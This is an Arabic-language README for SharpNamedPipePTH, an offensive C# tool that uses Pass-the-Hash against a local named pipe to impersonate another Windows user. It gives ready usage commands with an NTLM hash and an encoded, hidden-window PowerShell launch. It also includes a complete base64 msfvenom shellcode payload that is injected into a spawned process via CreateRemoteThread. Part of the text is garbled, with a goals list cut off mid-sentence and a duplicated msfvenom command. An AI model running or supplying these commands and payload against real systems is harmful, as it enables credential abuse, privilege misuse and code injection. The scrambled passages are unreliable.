
تمرير التجزئة إلى أنبوب مسمى لانتحال الرمز المميز
هذا المشروع عبارة عن أداة بلغة C# لاستخدام Pass-the-Hash للمصادقة على Named Pipe محلي لانتحال هوية المستخدم. تحتاج إلى صلاحيات مدير محلي أو صلاحية SEImpersonate لاستخدام هذه الأداة. توجد مقالة مدونة للشرح:
https://s3cur3th1ssh1t.github.io/Named-Pipe-PTH/
تعتمد الأداة بشكل كبير على الكود من مشروع Sharp-SMBExec.
واجهت بعض المواقف في مشاريع الأمن الهجومي في الماضي، حيث كنت أمتلك بالفعل تجزئة NTLM لحساب مستخدم منخفض الصلاحيات واحتجت إلى شل لهذا المستخدم على النظام المخترق الحالي - لكن ذلك لم يكن ممكنًا باستخدام الأدوات العامة الحالية. تخيل حقيقتين إضافيتين لمثل هذا الموقف - تعذر كسر تجزئة NTLM و عدم وجود عملية للمستخدم الضحية لتنفيذ شيل كود فيها أو الانتقال إلى تلك العملية. قد يبدو هذا كحالة حافة سخيفة للبعض منكم. لكنني ما زلت أواجه ذلك عدة مرات. ليس فقط في مهمة واحدة، أمضيت الكثير من الوقت في البحث عن الأداة/التقنية المناسبة في تلك الحالة المحددة.
كانت أهدافي الشخصية لأداة/تقنية هي:
منخفضة الصلاحيات - اعتمادًا على أهداف المهمة، قد يكون من الضروري الوصول إلى نظام باستخدام مستخدم معين مثل الرئيس التنفيذي، حسابات الموارد البشرية، مسؤولي SAP أو غيرهملسوء الحظ، لا يسمح للمستخدم المنتحَل الهوية بأي مصادقة شبكة، لأن العملية الجديدة تستخدم رمز انتحال (Impersonation Token) مقيد. لذا يمكنك استخدام هذه التقنية فقط للإجراءات المحلية مع مستخدم آخر.
هناك طريقتان لاستخدام SharpNamedPipePTH. إما تنفيذ ملف ثنائي (مع أو بدون وسائط):
SharpNamedPipePTH.exe username:testing hash:7C53CFA5EA7D0F9B3B968AA0FB51A3F5 binary:C:\windows\system32\cmd.exe
SharpNamedPipePTH.exe username:testing domain:localhost hash:7C53CFA5EA7D0F9B3B968AA0FB51A3F5 binary:"C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" arguments:"-nop -w 1 -sta -enc bgBvAHQAZQBwAGEAZAAuAGUAeABlAAoA"
أو يمكنك تنفيذ شيل كود كمستخدم آخر:
SharpNamedPipePTH.exe username:testing domain:localhost hash:7C53CFA5EA7D0F9B3B968AA0FB51A3F5 shellcode:/EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpV////11IugEAAAAAAAAASI2NAQEAAEG6MYtvh//Vu+AdKgpBuqaVvZ3/1UiDxCg8BnwKgPvgdQW7RxNyb2oAWUGJ2v/VY21kLmV4ZQA=
وهو msfvenom -p windows/x64/exec CMD=cmd.exe EXITFUNC=threadmsfvenom -p windows/x64/exec CMD=cmd.exe EXITFUNC=thread | base64 -w0.
أنا لست سعيدًا بتنفيذ الشيل كود حتى الآن، حيث أنه يقوم حاليًا بتشغيل notepad كمستخدم منتحَل الهوية ويحقن الشيل كود في تلك العملية الجديدة عبر استدعاء نظام D/Invoke CreateRemoteThread. ما زلت أبحث عن إمكانية تشغيل عملية في الخلفية أو تنفيذ شيل كود بدون وجود عملية للمستخدم الهدف لتخصيص الذاكرة.